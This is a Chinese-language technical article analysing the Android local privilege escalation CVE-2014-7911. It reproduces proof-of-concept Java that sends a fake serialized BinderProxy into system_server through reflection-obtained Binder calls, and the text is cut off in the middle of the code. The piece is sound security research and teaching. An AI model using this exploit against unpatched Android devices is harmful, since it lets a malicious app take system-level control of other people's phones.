CVE-2014-7911 Android本地提權漏洞分析與利用
概述
前面我們瞭解了Android Binder機制的基本原理,當然僅僅瞭解是不夠的,我們要做到:Know it and hack it。這篇文章我們就來分析一個和Binder相關的漏洞:CVE-2014-7911。這是由Jann Horn發現的一個Android本地提權漏洞,能夠使普通應用的許可權提升到System許可權,影響Android5.0以下版本。這個漏洞是非常值得Android安全研究人員學習的一個漏洞,因為這個漏洞涉及到Android Binder,Java序列化,Dalvik GC機制,Heap spary,ROP,Stack pivot等知識,很有學習價值。
文章的內容主要來源於公開的資料,我在其基礎上添加了一些細節。
漏洞成因
java層
這個漏洞的成因在於在Android<5.0的版本中,java.io.ObjectInputStream並未校驗輸入的java物件是否是可序列化的。攻擊者可以構建一個不可序列化的物件例項,並且構建惡意的成員變數,當該物件被ObjectInputStream反序列化的時候,就會發生型別混淆,其成員變數被當做原生代碼的指標,使攻擊者可以獲得程式的控制權。
具體的來說,是android.os.BinderProxy這個類,本身是不可序列化的,在系統GC的時候,會呼叫到它的finalize方法,在這個方法中呼叫到了一個指標,而這個指標正好可以被我們控制,所以可以通過構造惡意的指標來達到程式碼執行。下面我們結合jann Horn的Poc具體分析下漏洞成因:
首先構造一個可序列化的物件。
1 2 3 4 5 6 7 8 9 10 11 12 |
package AAdroid.os; import java.io.Serializable; /** * Created by auo on 15-6-25. */ public class BinderProxy implements Serializable { private static final long serialVersionUID = 0; public int mObject = 0x1337beef; public int mOrgue = 0x1337beef |
這裡定義了一個AAdroid.os.BinderProxy物件,並且實現了Serializable介面,使得這個類可序列化,因為我們需要現將這個類放入到Bundle中才能傳入到system_server程序,在傳入的過程中修改它的型別位android.os.BinderProxy,這樣在system_server反序列化的時候就會觸發異常。我們繼續看傳送函式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
private void exploit(int staticAddr) { Context context = getBaseContext(); try { Bundle bundle = new Bundle(); BinderProxy evilProxy = new BinderProxy(); bundle.putSerializable("eatthis", evilProxy); Class stubClass = null; for (Class inner : Class.forName("android.os.IUserManager").getDeclaredClasses()) { if (inner.getCanonicalName().equals("android.os.IUserManager.Stub")) { stubClass = inner; } } Field TRANSACTION_setApplicationRestrictionsField = stubClass.getDeclaredField("TRANSACTION_setApplicationRestrictions"); TRANSACTION_setApplicationRestrictionsField.setAccessible(true); TRANSACTION_setApplicationRestrictions = TRANSACTION_setApplicationRestrictionsField.getInt(null); Class proxyClass = null; for (Class inner : stubClass.getDeclaredClasses()) { if (inner.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) { proxyClass = inner; } } UserManager userManager = (UserManager) context.getSystemService(Context.USER_SERVICE); Field mServiceField = UserManager.class.getDeclaredField("mService"); mServiceField.setAccessible(true); Object mService = mServiceField.get(userManager); Field mRemoteField = proxyClass.getDeclaredField("mRemote"); mRemoteField.setAccessible(true); mRemote = (IBinder) mRemoteField.get(mService); UserHandle userHandle = android.os.Process.myUserHandle(); setApplicationRestrictions(context.getPackageName(), bundle, userHandle.hashCode()); } catch (Exception e) { e.printStackTrace(); } } |
這裡通過一系列的反射來獲取android.os.IUserManager.Stub.Proxy.mRemote類,IUserManager物件是AIDL自動生成的,在UserManager中定義了一個例項。
1 2 3 4 5 6 7 |
public class UserManager { private static String TAG = "UserManager"; private final IUserManager mService; private final Context mContext; ... } |
通過反射獲取到這個例項的mRemote物件,我們前面已經知道在Binder客戶端的mRemote其實是一個BinderProxy類,這個類的transact函式將方法描述符和引數傳遞給服務端,進行遠端呼叫。所以這裡獲得這個物件其實就是為了像servermanager傳遞我們構造的惡意物件,為什麼要傳遞給servermanager呢,這是因為servermanager擁有system許可權,把物件傳遞給它,servermanager在反序列化時發生型別混淆,我們就可以在servermanager程序用system許可權執行程式碼。所以通過前面我們瞭解到,這裡的客戶端和服務端包括髮送的惡意物件的類都不是固定的,因為漏洞的關鍵點不在這兩個類中而是在ObjectInputStream這個類中,所以只要滿足能夠觸發漏洞的條件即可。下面我們具體來看傳送物件的過程中做了什麼工作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
private void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int userHandle) throws android.os.RemoteException { android.os.Parcel _data = android.os.Parcel.obtain(); android.os.Parcel _reply = android.os.Parcel.obtain(); try { _data.writeInterfaceToken(DESCRIPTOR); _data.writeString(packageName); _data.writeInt(1); restrictions.writeToParcel(_data, 0); |